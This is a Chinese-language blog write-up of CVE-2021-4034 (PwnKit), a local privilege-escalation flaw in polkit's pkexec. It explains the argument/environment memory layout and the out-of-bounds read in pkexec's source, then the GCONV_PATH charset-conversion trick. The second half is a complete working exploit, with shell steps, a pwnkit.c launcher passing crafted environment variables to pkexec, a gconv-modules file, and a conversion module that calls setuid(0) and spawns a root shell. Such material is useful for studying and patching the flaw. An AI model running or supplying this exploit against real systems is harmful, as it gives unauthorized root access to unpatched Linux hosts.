【CVE-2021-4034】 漏洞详细原理以及复现，polkit的pkexec中的本地提权漏洞

Null

当你在linux下要查看文件时，运行列如像cat这样的程序

所以整个参数数组看起来如下：

cat test.txt
 0    1

cat是第一个参数索引’0’，第一个参数通常是程序本身的名称，在我们的例子中它是cat
第二个参数是我们刚刚提供带有索引’1’的test.txt的文件名，这些都是字符串

但是在内存中，过程看起来像这样

0|1|2|…|0|1|2…
 args    env

因此你有一堆参数堆叠在一个地方，环境变量就在它旁边，首先是参数列表，然后是环境变量列表

那么真正将参数与环境变量区分开来的，比如这里真正的边界是什么？

这是一个重要的问题，因为内存是连续的，所以必须有一个明确的边界

0|1|2|null|0|1|2…
 args       env

如果参数最后一个元素为null，这意味着是参数结束的地方和环境变量开始的地方

cat test.txt null
 0    1       2

这是我们之前cat的示例，这里数组的第三个元素就是null，这就是参数结束的地方和环境变量开始的地方

漏洞原理

https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481

首先查看pkexec中的源代码

for (n = 1; n < (guint) argc; n++)                   /这是一个循环，从变量n设置为1开始
    {
      if (strcmp (argv[n], "--help") == 0)             /然后它会检查在运行时提供给pkexec程序的参数
        {
          opt_show_help = TRUE;
        }
      else if (strcmp (argv[n], "--version") == 0)
        {
          opt_show_version = TRUE;
        }
      else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
        {
          n++;
          if (n >= (guint) argc)
            {
              usage (argc, argv);
              goto out;
            }

一直到下面第536行

g_assert (argv[argc] == NULL);     
  path = g_strdup (argv[n]);         /读取第N个参数，并将其设置为变量路径
  if (path == NULL)
    {
      usage (argc, argv);
      goto out;
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path);
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s;             /它读取程序的路径并将其设置回来到参数数组
    }
  if (access (path, F_OK) != 0)

看完这两段代码，你就会发现一个问题

null|…|…|…|
   args

如果第一个元素是null，会发生什么，带着这个问题，我们再次回到源代码中看一遍

for (n = 1; n < (guint) argc; n++)     /最初n从这个循环中变为1，因为它与任何情况都不匹配，在值n设置为1的情况下打破这个循环
{
	……
}

……

path = g_strdup(argv[n]);      //在这里，他试图读取n的参数，我们知道n现在的参数为1，但我们第0个数组是null，这意味这参数应该在那里结束，但这行代码仍在尝试读取超出范围的内容，因此当它超出范围时，读取的内容为环境变量，前面我们说过，null结束后就是环境变量的开始，所以在这里，当它尝试读取第二个参数时，实际上读取的是环境变量

……

if (path[0] != '/')     /如果没有路径变量
{
	s = g_find_program_in_path(path);    /则越界读取'不以正斜杠开头'
	……
	argv[n] = path =s;      /在这里回到n的路径
}

这是越界，所以现在我们可以用某种方式利用这些，比如我们可以将如何环境变量注入到进程中

利用

我们可以在启动过程时添加一个环境变量，它们被称为’unsercure env vars’不安全的环境变量

https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html

例如LD_preload，这样的环境变量会在uid程序上为用户运行的程序自动过滤的环境变量

https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348

如果它们没有被过滤，那么这是一个权限提升，但开发者知道这些攻击，因此从父进程到子进程限制了一些环境变量的传递
所以我们不能真正注入所有类型的环境变量，但由于我们有pkexec程序里的

argv[n] = path =s

我们可以使用它来注入不安全的环境变量，但在这之后有一个小问题，他调用clear env

  if (clearenv () != 0)       /清除每个环境变量
    {
      g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
      goto out;
    }

  /* Initialize the GLib type system - this is needed to interact with the
   * PolicyKit daemon
   */
  g_type_init ();

  /* make sure we are nuked if the parent process dies */
#ifdef __linux__
  if (prctl (PR_SET_PDEATHSIG, SIGTERM) != 0)
    {
      g_printerr ("prctl(PR_SET_PDEATHSIG, SIGTERM) failed: %s\n", g_strerror (errno));
      goto out;
    }

这意味着我们需要找到一种方法来执行代码，从代码越界的地方开始执行到它清除所有环境变量之前
所以让我们再次在程序越界之后看一下代码

if (!validate_environment_variable (key, value))    /它调用了验证环境变量的函数
        goto out;

      g_ptr_array_add (saved_env, g_strdup (key));
      g_ptr_array_add (saved_env, g_strdup (value));
    }

在这个函数内部有一个对g_print错误的条件调用

if (g_strcmp0 (key, "SHELL") == 0)
    {
      /* check if it's in /etc/shells */
      if (!is_valid_shell (value))
        {
          log_message (LOG_CRIT, TRUE,
                       "The value for the SHELL variable was not found the /etc/shells file");
          g_printerr ("\n"
                      "This incident has been reported.\n");           /错误条件调用的地方
          goto out;
        }
    }
  else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
           strstr (value, "%") != NULL ||
           strstr (value, "..") != NULL)
    {
      log_message (LOG_CRIT, TRUE,
                   "The value for environment variable %s contains suscipious content",
                   key);
      g_printerr ("\n"
                  "This incident has been reported.\n");         /错误条件调用的地方
      goto out;
    }

g_print这个函数有点重要，它可以帮助我们获得权限提升
这就是这个g_print错误函数通常的打印utf8错误消息的方式

但如果不是utf-8字符，他实际上会调用另一个函数，尝试使用转换模块将错误的utf-8字符转换为正确的

所以这里是关键的地方，我们需要完全控制这个转换模块
想法是
我们设置一个utf-8以外的东西，触发一个错误的判断，然后就会调用一个转换模块，我们可以使用一个名为gconv_path的环境变量来指定它，这个ICONV_OPEN函数会查看环境变量并从那里获取我们恶意的转换模块，一旦成功传输了我们的转换模块，它会尝试执行转换字符集，但实际上它是在执行我们的恶意代码，更重要的是，它是以root的身份执行的

利用脚本

首先我们先创建一个名为GCONV_PATH的目录

mkdir 'GCONV_PATH=.'

然后并在其中放在一个名为pwn的文件

touch GCONV_PATH\=./pwn

然后赋予pwn文件的执行权限

chmod +x pwn

然后新建一个文件

touch pwnkit.c

写入以下的代码

#include <unistd.h>

int main() {
    char *argv[] = { NULL };
    char *envp[] = {
        "pwn",
        "TERM=..",
        "PATH=GCONV_PATH=.",
        "CHARSET=BRUH",
        NULL
    };
    execve("/usr/bin/pkexec", argv, envp);  

    return 0;
}

解释

int main() {
    char *argv[] = { NULL };
    char *envp[] = {
        "pwn",               /我们将第一个环境变量设置pwn
        "TERM=..",       /这里会触发g_print打印错误
        "PATH=GCONV_PATH=.",            /然后环境变量等于GCONV_PATH
        "CHARSET=BRUH",          /设置为bruh来触发认为这不是utf-8的判断，并且它会尝试进行转换
        NULL
    };
    execve("/usr/bin/pkexec", argv, envp);    

    return 0;
}

创建一个名为phone的目录

mkdir phone

然后再在phone目录下创建pwn目录

mkdir pwn

创建一个名为gconv-modules的模块

写入

echo 'module  UTF-8//    BRUH//    conversion-mod   1' > gconv-modules

然后再创建一个名为conversion-mod.c的文件

touch conversion-mod.c

然后写入

#define _GNU_SOURCE
#include <unistd.h>
#include <gconv.h>

int gconv_init() {

    setuid(0);
    setgid(0);

    char *args[] = {"sh", NULL};
    char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};

    execvpe("/bin/sh", args, envp);

    return(__GCONV_OK);
}

int  gconv(){ return(__GCONV_OK); }

解释

#define _GNU_SOURCE
#include <unistd.h>
#include <gconv.h>

int gconv_init() {

    setuid(0);        
    setgid(0);            /都设置为零的意思是root

    char *args[] = {"sh", NULL};
    char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};

    execvpe("/bin/sh", args, envp);     /创建一个简单的shell

    return(__GCONV_OK);
}

int  gconv(){ return(__GCONV_OK); }

最后用gcc编译所有的c文件
然后运行pwnkit文件

或者下载

https://github.com/PwnFunction/CVE-2021-4034

在文件目录输入命令

make all

然后运行pwnlit文件

总结

避免被利用的方式是更新polkit，这篇文章写了一天，欢迎大家来关注我，之后也会写很多类似的分析文章